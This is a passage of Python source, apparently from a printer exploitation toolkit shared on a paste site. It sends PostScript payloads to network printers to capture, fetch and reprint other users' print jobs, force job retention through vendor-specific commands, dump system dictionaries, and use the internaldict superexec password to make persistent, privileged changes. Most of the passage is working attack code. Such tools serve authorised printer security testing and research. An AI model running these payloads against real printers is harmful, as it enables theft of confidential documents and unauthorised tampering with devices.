  690. '{dup read {byte exch 0 exch put\n'
  691. '(%stdout) (w) file byte writestring}\n'
  692. '{exit} ifelse} loop')
  693. data = conv().nstrip(data) # remove carriage return chars
  694. print(str(len(data)) + " bytes received.")
  695. # write to local file
  696. if lpath and data: file().write(lpath, data)
  697. # be user-friendly and show some info on how to open captured jobs
  698. reader = 'any PostScript reader'
  699. if sys.platform == 'darwin': reader = 'Preview.app' # OS X
  700. if sys.platform.startswith('linux'): reader = 'Evince' # Linux
  701. if sys.platform in ['win32', 'cygwin']: reader = 'GSview' # Windows
  702. self.chitchat("Saved jobs can be opened with " + reader)
  703. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  704. # reprint saved print jobs
  705. elif arg.endswith('print'):
  706. output().raw(self.cmd(
  707. '/str 256 string def /count 0 def\n'
  708. '/increment {/count 1 count add def} def\n'
  709. '/msg {(Reprinting recorded job ) print count str\n'
  710. 'cvs print ( of ) print total str cvs print (\\n) print} def\n'
  711. 'userdict /capturedict known {/total capturedict length def\n'
  712. 'capturedict {increment msg dup resetfile cvx exec} forall} if\n'
  713. 'count 0 eq {(No jobs captured) print} if'))
  714. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  715. # end capturing print jobs
  716. elif arg.startswith('stop'):
  717. output().raw("Stopping job capture, deleting recorded jobs")
  718. self.globalcmd('<< /BeginPage {} bind /EndPage {} bind >>\n'
  719. 'setpagedevice userdict /capturedict undef\n')
  720. else:
  721. self.help_capture()
  722.  
  723. def help_capture(self):
  724. print("Print job operations: capture <operation>")
  725. print(" capture start - Record future print jobs.")
  726. print(" capture stop - End capturing print jobs.")
  727. print(" capture list - Show captured print jobs.")
  728. print(" capture fetch - Save captured print jobs.")
  729. print(" capture print - Reprint saved print jobs.")
  730.  
  731. options_capture = ('start', 'stop', 'list', 'fetch', 'print')
  732. def complete_capture(self, text, line, begidx, endidx):
  733. return [cat for cat in self.options_capture if cat.startswith(text)]
  734.  
  735. # ------------------------[ hold ]------------------------------------
  736. def do_hold(self, arg):
  737. "Enable job retention."
  738. output().psonly()
  739. str_send = 'currentpagedevice (CollateDetails) get (Hold) get 1 ne\n'\
  740. '{/retention 1 def}{/retention 0 def} ifelse\n'\
  741. '<< /Collate true /CollateDetails\n'\
  742. '<< /Hold retention /Type 8 >> >> setpagedevice\n'\
  743. '(Job retention ) print\n'\
  744. 'currentpagedevice (CollateDetails) get (Hold) get 1 ne\n'\
  745. '{(disabled.) print}{(enabled.) print} ifelse'
  746. output().info(self.globalcmd(str_send))
  747. self.chitchat("On most devices, jobs can only be reprinted by a local attacker via the")
  748. self.chitchat("printer's control panel. Stored jobs are sometimes accessible by PS/PJL")
  749. self.chitchat("file system access or via the embedded web server. If your printer does")
  750. self.chitchat("not support holding jobs try the more generic 'capture' command instead")
  751. #- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  752. '''
  753. **************************** HP/KYOCERA ****************************
  754. << /Collate true /CollateDetails << /Type 8 /Hold 1 >> >> setpagedevice % quick copy (HP)
  755. << /Collate true /CollateDetails << /Type 8 /Hold 2 >> >> setpagedevice % stored job (HP)
  756. << /Collate true /CollateDetails << /Mode 0 /Type 8 /Hold 1 >> >> setpagedevice % quick copy (Kyocera)
  757. << /Collate true /CollateDetails << /Mode 0 /Type 8 /Hold 2 >> >> setpagedevice % stored job (Kyocera)
  758. << /Collate true /CollateDetails << /Mode 0 >> >> setpagedevice % permanent job storage (Kyocera)
  759. << /CollateDetails << /Hold 0 /Type 8 >> >> setpagedevice % disable job retention (HP)
  760. **************************** CANON *********************************
  761. << /CNJobExecMode store >> setpagedevice
  762. << /CNJobExecMode hold >> setpagedevice
  763. **************************** BROTHER *******************************
  764. << /BRHold 2 /BRHoldType 0 >> setpagedevice
  765. **************************** XEROX #1 ******************************
  766. userdict /XJXsetraster known { 1 XJXsetraster } if
  767. **************************** XEROX #2 ******************************
  768. userdict begin /xerox$holdjob 1 def end
  769. /EngExe /ProcSet resourcestatus
  770. {pop pop /EngExe /ProcSet findresource /HoldJob known
  771. {false /EngExe /ProcSet findresource /HoldJob get exec} if} if
  772. **************************** TOSHIBA *******************************
  773. /dscInfo where {
  774. pop
  775. dscInfo /For known {
  776. <</TSBPrivate 100 string dup 0 (DSSC PRINT USERLOGIN=)
  777. putinterval dup 21 dscInfo /For get putinterval
  778. >> setpagedevice
  779. } if
  780. dscInfo /Title known {
  781. <</TSBPrivate 100 string dup 0 (DSSC JOB NAME=)
  782. putinterval dup 14 dscInfo /Title get putinterval
  783. >> setpagedevice
  784. } if
  785. << /TSBPrivate (DSSC PRINT PRINTMODE=HOLD) >> setpagedevice
  786. }{
  787. << /TSBPrivate (DSSC PRINT USERLOGIN=CUPS User) >> setpagedevice
  788. << /TSBPrivate (DSSC JOB NAME=CUPS Document) >> setpagedevice
  789. << /TSBPrivate (DSSC PRINT PRINTMODE=HOLD) >> setpagedevice
  790. } ifelse"
  791. '''
  792.  
  793. # ====================================================================
  794.  
  795. # ------------------------[ known <operator> ]-------------------------
  796. def do_known(self, arg):
  797. "List supported PostScript operators: known <operator>"
  798. if arg:
  799. functionlist = {'User-supplied Operators': arg.split()}
  800. else:
  801. functionlist = operators.oplist
  802.  
  803. ### may want to find unknown ops using: systemdict {dup type /operatortype eq {exch == pop}{pop pop} ifelse} forall
  804.  
  805. # ask interpreter if functions are known to systemdict
  806. for desc, funcs in sorted(functionlist.items()):
  807. output().chitchat(desc)
  808. commands = ['(' + func + ': ) print systemdict /'
  809. + func + ' known ==' for func in funcs]
  810. str_recv = self.cmd(c.EOL.join(commands), False)
  811. for line in str_recv.splitlines():
  812. output().green(line) if " true" in line else output().warning(line)
  813.  
  814. # ------------------------[ search <key> ]----------------------------
  815. def do_search(self, arg):
  816. "Search all dictionaries by key: search <key>"
  817. output().info(self.cmd('(' + arg + ') where {(' + arg + ') get ==} if'))
  818.  
  819. # ------------------------[ dicts ]-----------------------------------
  820. def do_dicts(self, arg):
  821. "Return a list of dictionaries and their permissions."
  822. output().info("acl len max dictionary")
  823. output().info("────────────────────────────")
  824. for dict in self.options_dump:
  825. str_recv = self.cmd('1183615869 ' + dict + '\n'
  826. 'dup rcheck {(r) print}{(-) print} ifelse\n'
  827. 'dup wcheck {(w) print}{(-) print} ifelse\n'
  828. 'dup xcheck {(x) print}{(-) print} ifelse\n'
  829. '( ) print dup length 128 string cvs print\n'
  830. '( ) print maxlength 128 string cvs print')
  831. if len(str_recv.split()) == 3:
  832. output().info("%-5s %-5s %-5s %s" % tuple(str_recv.split() + [dict]))
  833.  
  834. # ------------------------[ dump <dict> ]-----------------------------
  835. def do_dump(self, arg, resource=False):
  836. "Dump all values of a dictionary: dump <dict>"
  837. dump = self.dictdump(arg, resource)
  838. if dump: output().psdict(dump)
  839.  
  840. def help_dump(self):
  841. print("Dump dictionary: dump <dict>")
  842. # print("If <dict> is empty, the whole dictionary stack is dumped.")
  843. print("Standard PostScript dictionaries:")
  844. if len(self.options_dump) > 0: last = self.options_dump[-1]
  845. for dict in self.options_dump: print(('└─ ' if dict == last else '├─ ') + dict)
  846.  
  847. # undocumented ... what about proprietary dictionary names?
  848. options_dump = ('systemdict', 'statusdict', 'userdict', 'globaldict',
  849. 'serverdict', 'errordict', 'internaldict', 'currentpagedevice',
  850. 'currentuserparams', 'currentsystemparams')
  851.  
  852. def complete_dump(self, text, line, begidx, endidx):
  853. return [cat for cat in self.options_dump if cat.startswith(text)]
  854.  
  855. # define alias
  856. complete_browse = complete_dump
  857.  
  858. def dictdump(self, dict, resource):
  859. superexec = False # TBD: experimental privilege escalation
  860. if not dict: # dump whole dictstack if optional dict parameter is empty
  861. # dict = 'superdict'
  862. # self.chitchat("No dictionary given - dumping everything (might take some time)")
  863. return self.onecmd("help dump")
  864. # recursively dump contents of a postscript dictionary and convert them to json
  865. str_send = '/superdict {<< /universe countdictstack array dictstack >>} def\n' \
  866. '/strcat {exch dup length 2 index length add string dup\n' \
  867. 'dup 4 2 roll copy length 4 -1 roll putinterval} def\n' \
  868. '/remove {exch pop () exch 3 1 roll exch strcat strcat} def\n' \
  869. '/escape { {(") search {remove}{exit} ifelse} loop \n' \
  870. ' {(/) search {remove}{exit} ifelse} loop \n' \
  871. ' {(\\\) search {remove}{exit} ifelse} loop } def\n' \
  872. '/clones 220 array def /counter 0 def % performance drawback\n' \
  873. '/redundancy { /redundant false def\n' \
  874. ' clones {exch dup 3 1 roll eq {/redundant true def} if} forall\n' \
  875. ' redundant not {\n' \
  876. ' dup clones counter 3 2 roll put % put item into clonedict\n' \
  877. ' /counter counter 1 add def % auto-increment counter\n' \
  878. ' } if redundant} def % return true or false\n' \
  879. '/wd {redundancy {pop q (<redundant dict>) p q bc s}\n' \
  880. '{bo n {t exch q 128 a q c dump n} forall bc bc s} ifelse } def\n' \
  881. '/wa {q q bc s} def\n' \
  882. '% /wa {ao n {t dump n} forall ac bc s} def\n' \
  883. '/n {(\\n) print} def % newline\n' \
  884. '/t {(\\t) print} def % tabulator\n' \
  885. '/bo {({) print} def % bracket open\n' \
  886. '/bc {(}) print} def % bracket close\n' \
  887. '/ao {([) print} def % array open\n' \
  888. '/ac {(]) print} def % array close\n' \
  889. '/q {(") print} def % quote\n' \
  890. '/s {(,) print} def % comma\n' \
  891. '/c {(: ) print} def % colon\n' \
  892. '/p { print} def % print string\n' \
  893. '/a {string cvs print} def % print any\n' \
  894. '/pe {escape print} def % print escaped string\n' \
  895. '/ae {string cvs escape print} def % print escaped any\n' \
  896. '/perms { readable {(r) p}{(-) p} ifelse\n' \
  897. ' writeable {(w) p}{(-) p} ifelse } def\n' \
  898. '/rwcheck { % readable/writeable check\n' \
  899. ' dup rcheck not {/readable false def} if\n' \
  900. ' dup wcheck not {/writeable false def} if perms } def\n' \
  901. '/dump {\n' \
  902. ' /readable true def /writeable true def\n' \
  903. ' dup type bo ("type": ) p q 16 a q s\n' \
  904. ' %%%% check permissions %%%\n' \
  905. ' ( "perms": ) p q\n' \
  906. ' dup type /stringtype eq {rwcheck} {\n' \
  907. ' dup type /dicttype eq {rwcheck} {\n' \
  908. ' dup type /arraytype eq {rwcheck} {\n' \
  909. ' dup type /packedarraytype eq {rwcheck} {\n' \
  910. ' dup type /filetype eq {rwcheck} {\n' \
  911. ' perms } % inherit perms from parent\n' \
  912. ' ifelse} ifelse} ifelse} ifelse} ifelse\n' \
  913. ' dup xcheck {(x) p}{(-) p} ifelse\n' \
  914. ' %%%% convert values to strings %%%\n' \
  915. ' q s ( "value": ) p\n' \
  916. ' %%%% on invalidaccess %%%\n' \
  917. ' readable false eq {pop q (<access denied>) p q bc s}{\n' \
  918. ' dup type /integertype eq {q 12 a q bc s}{\n' \
  919. ' dup type /operatortype eq {q 128 ae q bc s}{\n' \
  920. ' dup type /stringtype eq {q pe q bc s}{\n' \
  921. ' dup type /booleantype eq {q 5 a q bc s}{\n' \
  922. ' dup type /dicttype eq { wd }{\n' \
  923. ' dup type /arraytype eq { wa }{\n' \
  924. ' dup type /packedarraytype eq { wa }{\n' \
  925. ' dup type /nametype eq {q 128 ae q bc s}{\n' \
  926. ' dup type /fonttype eq {q 30 ae q bc s}{\n' \
  927. ' dup type /nulltype eq {q pop (null) p q bc s}{\n' \
  928. ' dup type /realtype eq {q 42 a q bc s}{\n' \
  929. ' dup type /filetype eq {q 100 ae q bc s}{\n' \
  930. ' dup type /marktype eq {q 128 ae q bc s}{\n' \
  931. ' dup type /savetype eq {q 128 ae q bc s}{\n' \
  932. ' dup type /gstatetype eq {q 128 ae q bc s}{\n' \
  933. ' (<cannot handle>) p}\n' \
  934. ' ifelse} ifelse} ifelse} ifelse} ifelse} ifelse} ifelse} ifelse}\n'\
  935. ' ifelse} ifelse} ifelse} ifelse} ifelse} ifelse} ifelse} ifelse}\n'\
  936. 'def\n'
  937. if not resource: str_send += '(' + dict + ') where {'
  938. str_send += 'bo 1183615869 ' + dict + ' {exch q 128 a q c dump n} forall bc'
  939. if not resource: str_send += '}{(<nonexistent>) print} ifelse'
  940. str_recv = self.clean_json(self.cmd(str_send))
  941. if str_recv == '<nonexistent>':
  942. output().info("Dictionary not found")
  943. else: # convert ps dictionary to json
  944. return json.loads(str_recv, object_pairs_hook=collections.OrderedDict, strict=False)
  945.  
  946. # bad practice
  947. def clean_json(self, string):
  948. string = re.sub(",[ \t\r\n]+}", "}", string)
  949. string = re.sub(",[ \t\r\n]+\]", "]", string)
  950. return unicode(string, errors='ignore')
  951.  
  952. # ------------------------[ resource <category> [dump] ]--------------
  953. def do_resource(self, arg):
  954. arg = re.split("\s+", arg, 1)
  955. cat, dump = arg[0], len(arg) > 1
  956. self.populate_resource()
  957. if cat in self.options_resource:
  958. str_send = '(*) {128 string cvs print (\\n) print}'\
  959. ' 128 string /' + cat + ' resourceforall'
  960. items = self.cmd(str_send).splitlines()
  961. for item in sorted(items):
  962. output().info(item)
  963. if dump: self.do_dump('/' + item + ' /' + cat + ' findresource', True)
  964. else:
  965. self.onecmd("help resource")
  966.  
  967. def help_resource(self):
  968. self.populate_resource()
  969. print("List or dump PostScript resource: resource <category> [dump]")
  970. print("Available resources on this device:")
  971. if len(self.options_resource) > 0: last = sorted(self.options_resource)[-1]
  972. for res in sorted(self.options_resource): print(('└─ ' if res == last else '├─ ') + res)
  973.  
  974. options_resource = []
  975. def complete_resource(self, text, line, begidx, endidx):
  976. return [cat for cat in self.options_resource if cat.startswith(text)]
  977.  
  978. # retrieve available resources
  979. def populate_resource(self):
  980. if not self.options_resource:
  981. str_send = '(*) {print (\\n) print} 128 string /Category resourceforall'
  982. self.options_resource = self.cmd(str_send).splitlines()
  983.  
  984. # ------------------------[ set <key=value> ]-------------------------
  985. def do_set(self, arg):
  986. "Set key to value in topmost dictionary: set <key=value>"
  987. arg = re.split("=", arg, 1)
  988. if len(arg) > 1:
  989. key, val = arg
  990. # make changes permanent
  991. str_send = 'true 0 startjob {\n'
  992. # flavor No.1: put (associate key with value in dict)
  993. str_send += '/' + key + ' where {/' + key + ' ' + val + ' put} if\n'
  994. # flavor No.2: store (replace topmost definition of key)
  995. str_send += '/' + key + ' ' + val + ' store\n'
  996. # flavor No.3: def (associate key and value in userdict)
  997. str_send += '/' + key + ' ' + val + ' def\n'
  998. # ignore invalid access
  999. str_send += '} 1183615869 internaldict /superexec get exec'
  1000. self.cmd(str_send, False)
  1001. else:
  1002. self.onecmd("help set")
  1003.  
  1004. # ------------------------[ config <setting> ]------------------------
  1005. def do_config(self, arg):
  1006. arg = re.split("\s+", arg, 1)
  1007. (arg, val) = tuple(arg) if len(arg) > 1 else (arg[0], None)
  1008. if arg in self.options_config.keys():
  1009. key = self.options_config[arg]
  1010. if arg == 'copies' and not val: return self.help_config()
  1011. output().psonly()
  1012. val = val or 'currentpagedevice /' + key + ' get not'
  1013. output().info(self.globalcmd(
  1014. 'currentpagedevice /' + key + ' known\n'
  1015. '{<< /' + key + ' ' + val + ' >> setpagedevice\n'
  1016. '(' + key + ' ) print currentpagedevice /' + key + ' get\n'
  1017. 'dup type /integertype eq {(= ) print 8 string cvs print}\n'
  1018. '{{(enabled)}{(disabled)} ifelse print} ifelse}\n'
  1019. '{(Not available) print} ifelse'))
  1020. else:
  1021. self.help_config()
  1022.  
  1023. def help_config(self):
  1024. print("Change printer settings: config <setting>")
  1025. print(" duplex - Set duplex printing.")
  1026. print(" copies # - Set number of copies.")
  1027. print(" economode - Set economic mode.")
  1028. print(" negative - Set negative print.")
  1029. print(" mirror - Set mirror inversion.")
  1030.  
  1031. options_config = {'duplex' : 'Duplex',
  1032. 'copies' : 'NumCopies',
  1033. 'economode': 'EconoMode',
  1034. 'negative' : 'NegativePrint',
  1035. 'mirror' : 'MirrorPrint'}
  1036.  
  1037. def complete_config(self, text, line, begidx, endidx):
  1038. return [cat for cat in self.options_config if cat.startswith(text)]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement